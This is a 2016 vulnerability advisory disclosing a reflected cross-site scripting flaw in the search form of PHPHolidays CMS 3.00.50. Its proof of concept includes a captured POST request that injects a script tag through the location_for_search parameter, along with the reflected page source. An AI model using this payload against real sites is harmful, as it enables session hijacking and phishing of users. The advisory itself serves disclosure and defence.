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PHPHolidays CMS v3.00.50 - Cross Site Scripting Web Vulnerability



Document Title:
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PHPHolidays CMS v3.00.50 - Cross Site Scripting Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1948


Release Date:
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2016-09-08


Vulnerability Laboratory ID (VL-ID):
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1948


Common Vulnerability Scoring System:
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3.1


Product & Service Introduction:
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The PhpHolidays is a travel web portal script designed for Travel Agencies & Tour Operators for booking packages online. 
The Car Hire and Vacation Rental modules are also integrated with this software. This script is a CMS Driven integrated web 
application platform, which is considered as one-stop solution developed especially for Travel agent & Tour business owners.
 
(Copy of the Homepage: http://www.phpholidays.com )


Abstract Advisory Information:
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An independent vulnerability laboratory researcher discovered a client-side cross site scripting vulnerability in the PHPHolidays 3.00.50 content management system.


Vulnerability Disclosure Timeline:
==================================
2016-09-08:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
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Published


Affected Product(s):
====================
Eicra
Product: PHPHolidays - Content Management System (Web-Application) 3.00.50 


Exploitation Technique:
=======================
Remote


Severity Level:
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Medium


Technical Details & Description:
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A client-side cross site scripting web vulnerability has been discovered in the official PHPHolidays v3.00.50 content management system.
The web vulnerability allows remote attacker to inject own malicious script codes on the client-side of the vulnerable module or service.

A client-side cross site scripting web vulnerability is located in the search engine. The web vulnerability could allow an attacker to 
execute javascript in the web-browser of the user or administrator to compromise session credentials. The attacker can connect to a 
third account to trigger the issue without knowing the password.

The security risk of the client-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.1. 
Exploitation of the client-side cross site vulnerability requires no privileged web-application user account and low or medium user interaction. 
Successful exploitation of the vulnerability results in non-persistent phishing, session hijacking, non-persistent external redirect to malicious 
sources and client-side manipulation of affected or connected web module context.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Add (Input)

Vulnerable Parameter(s):
[+] location_for_search


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


--- PoC Session Logs [POST] ---
Status: 200 [OK]
Host: phpholidays.localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://phpholidays.localhost:8000/
Cookie: __utma=257594058.2078559717.1473247729.1473247729.1473247729.1; __utmb=257594058.3.10.1473247729; __utmc=257594058; 
__utmz=257594058.1473247729.1.1.utmcsr=eicracms.com|utmccn=(referral)|utmcmd=referral|utmcct=/cms_demo.php; __utmt=1; 
PHPSESSID=47c19141ab0bf4cec7e81704c46fb6aa
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 187
location_for_search='"/>></script><script>alert("vulnerabilitylab")</script>&check_in=&check_out=&search_room=1&search_adult=1&search_child=0&block_search=search


--- PoC: Source ---
<div class="form-group">
<label for="location_for_search">Location :</label>
<input name="location_for_search" type="text" id="location_for_search" 
operator="contains"value="'"/>></script><script>alert("vulnerabilitylab")</script>"placeholder="Any" class="form-control"/>
</div>


Reference(s):
http://phpholidays.localhost:8000/


Security Risk:
==============
The security risk of the client-side cross site scripting vulnerability in the web-application is estimated as medium. (CVSS 3.1)


Credits & Authors:
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ZwX -  [http://www.vulnerability-lab.com/show.php?user=ZwX]


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